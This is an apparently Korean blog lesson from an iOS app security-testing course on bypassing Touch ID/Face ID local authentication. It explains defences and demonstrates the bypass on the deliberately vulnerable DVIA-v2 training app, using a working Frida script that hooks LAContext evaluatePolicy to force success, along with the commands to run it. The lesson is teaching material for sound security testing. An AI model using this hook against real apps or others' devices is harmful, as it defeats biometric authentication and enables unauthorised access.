본문으로 바로가기

아이폰·아이패드·iOS 취약점진단/모의해킹 무료 강의

 

가. 로컬 인증 우회 취약점이란?

1. 로컬 인증(Local Authentication) 정의

- 로컬인증(Local Authentication)은 디바이스 내부에 저장된 *자격증명을 기준으로 사용자를 인증하는 것을 말한다.

* 자격증명: 암호, 지문(Touch ID), 얼굴(Face ID) 등

- 로컬 인증을 앱에서 사용하기 위해 로컬 인증 프레임워크를 사용하여야 한다. 

2. 로컬 인증 프레임워크(LocalAuthentication.framework) 정의

- 생체인식(Touch ID/Face ID) 또는 설정한 암호를 사용하여 사용자를 인증한다.
- 보안을 위해 앱은 인증 데이터인 지문 등에 접근할 수 없으며, 인증성공 여부만 확인이 가능하다.

- 프레임워크는 Secure Enclave에게 인증하려는 이유를 알려주는 메시지을 제공해 주고, 인증 성공 또는 실패를 나타내는 bool 결과를 받게 된다.

https://developer.apple.com/documentation/localauthentication/

 

3. 로컬 인증 프레임워크 취약점

- 로컬 인증 프레임워크를 사용하면 애플에서 제공하는 LAContext 클래스의 evaluatePolicy 인스턴스 메소드를 사용하게 된다.

- evaluatePolicy 인스턴스 메소드는 성공 또는 실패를 나타내는 Boolean만 반환하기 때문에 쉽게 우회가 가능하다.

 

※ 앱은 로컬인증에서 회신하여주는 bool 값으로 인증여부를 판단하기 때문에, 로컬인증을 우회만으로 취약점을 말하기는 어렵다. 대신 디버깅 탐지, 탈옥 탐지, 무결성 검증을 하지 않았을 경우 이러한 문제가 발생할 수 있다고 예시를 들어줄 수는 있다.

 

나. 대응방법

- 아래의 글을 참고하여 탈옥 된 디바이스 실행 및 디버깅을 이용한 런타임 조작이 불가능하도록 디버깅 방지 기능을 적용한다.

[Mobile App 취약점 진단/iOS App 진단] - [iOS App 진단] 12강 - 탈옥 탐지 우회(이론 및 대응방법)

 

[iOS App 진단] 12강 - 탈옥 탐지 우회(이론 및 대응방법)

가. 탈옥(Jailbreak) 이란? iOS의 샌드박스 제한을 풀어 서명되지 않은 코드를 실행할 수 있게 하는 것을 말함. 나. 탈옥된 기기에서 앱 실행을 차단해야하는 이유 탈옥된 기기에서의 사용자는 최고

hagsig.tistory.com

 

- 아래의 글을 참고하여 바이너리 파일이 변조되었을 경우 앱이 실행이 안되도록 한다.

[Mobile App 취약점 진단/iOS App 진단] - [iOS App 진단] 11강 - 애플리케이션 패칭(앱 위·변조) 실습 1

 

[iOS App 진단] 11강 - 애플리케이션 패칭(앱 위·변조) 실습 1

가. 애플리케이션 패칭이란? - 애플리케이션 패칭(Application Patching)은 애플리케이션의 바이너리 파일이 영구적으로 변경되는 것을 말하며 애플리케이션 위·변조라고도 부른다. - 바이너리 파일

hagsig.tistory.com

 

다. DVIA-v2 앱을 통한 실습

1. Touch ID 등록

- 실습을 위해 디바이스에 Touch ID를 등록한다.

 

※ 만약 암호가 설정되어 있지 않다면 반드시 '암호 켜기'를 클릭하여 암호를 등록해 주어야 한다.

 

2. 분석 대상 앱 설치 및 실행

- 실습을 위해 DVIA-v2 앱을 설치한다.

 

※ DVIA-v2 어플이 설치되어있지 않은 사람은 아래의 글을 참고하여 앱을 설치하길 바란다.

2022.07.01 - [Mobile App 취약점 진단/iOS App 진단] - [iOS App 진단] 04강 - 진단 대상 설치

 

[iOS App 진단] 04강 - 진단 대상 설치

iOS 앱 진단을 위해 설치 파일을 요청하면, 대개 아래 3가지 방법 중에 하나의 방법으로 전달해준다. 1. 앱 스토어를 통해 설치 이미 앱 개발이 완료되어 앱스토어에 등록되어 있을 경우, 앱스토어

hagsig.tistory.com

 

- 메인메뉴 좌측 상단 메뉴 클릭  'Touch/Face ID Bypass' 클릭  'START CHALLENGE' 클릭

 

- 화면 우측 "Swift Implementation", "Objective-C implementation"의 지문모양을 클릭한다.

- 지문인식 화면이 출력되며, 지문을 등록한 손가락이 아닌 다른 손가락으로 인증을 시도하면 인증실패 화면이 출력된다.

- 본글에서는 지문을 등록한 손가락이 아닌 다른 손가락으로 인증을 시도해도 인증이 성공하도록 해볼 것이다.

 

※ 만약 '암호 켜기', '지문 등록'을 모두 수행하였는데도 불구하고 아래와 같은 *오류가 계속 발생한다면 앱을 재실행하면 된다.

*오류 : Touch ID not available, Your device doesn't support Touch ID or you haven't configured Touch ID authentication on your device.

 

3. 프리다 코드 작성

- 아래의 링크에 접속하여 로컬인증을 우회하는 코드를 복사한 뒤 자바스크립트(javascript) 파일로 만든다.

- 파일 명 : hagsig_touchid.js

* 메모장에 아래의 코드를 입력한 뒤 확장자명을 .js로 저장하면 자바스크립트 파일이 만들어진다.

needle/needle/modules/hooking/frida/script_touch-id-bypass.py at master · WithSecureLabs/needle · GitHub

if(ObjC.available) {
    var hook = ObjC.classes.LAContext["- evaluatePolicy:localizedReason:reply:"];
    Interceptor.attach(hook.implementation, {
        onEnter: function(args) {
            send("Hooking Touch Id..")
            var block = new ObjC.Block(args[4]);
            const appCallback = block.implementation;
            block.implementation = function (error, value)  {
                const result = appCallback(1, null);
                return result;
            };
        },
    });
} else {
    console.log("Objective-C Runtime is not available!");
}

 

4. 로컬인증 우회 시도

- PC의 프리다 클라이언트를 이용하여 탈옥탐지 기능을 우회하고자 하는 앱의 이름을 알아낸다.

- 명령어 : frida-ps -Ua

* 앱의 이름 : DVIA-v2

frida-ps -Ua

 

- PC의 프리다 클라이언트를 이용하여 위에서 작성한 코드를 실행한다.

- 명령어 : frida -U -l [코드경로] [바이너리 파일 이름]

frida -U -l hagsig_touch.js DVIA-v2

 

- 화면 우측 "Swift Implementation", "Objective-C implementation"의 지문모양을 클릭한다.

- 지문인식 화면이 출력되며, 지문을 등록한 손가락이 아닌 다른 손가락으로 인증을 시도하면 인증성공 화면이 출력된다.

※ 인증 실패 화면이 출력되어도 계속해서 인증을 시도하면 성공했다는 알림이 출력된다.

 

라. 참고 URL

- evaluatePolicy 인스턴스 메소드에 관한 애플 공식 문서

evaluatePolicy(_:localizedReason:회신:) | Apple 개발자 문서

 

evaluatePolicy(_:localizedReason:reply:) | Apple Developer Documentation

Evaluates the specified policy.

developer.apple.com

 

- 로컬 인증 프레임워크에 관한 애플 공식 문서

https://developer.apple.com/documentation/localauthentication/

 

Local Authentication | Apple Developer Documentation

Authenticate users biometrically or with a passphrase they already know.

developer.apple.com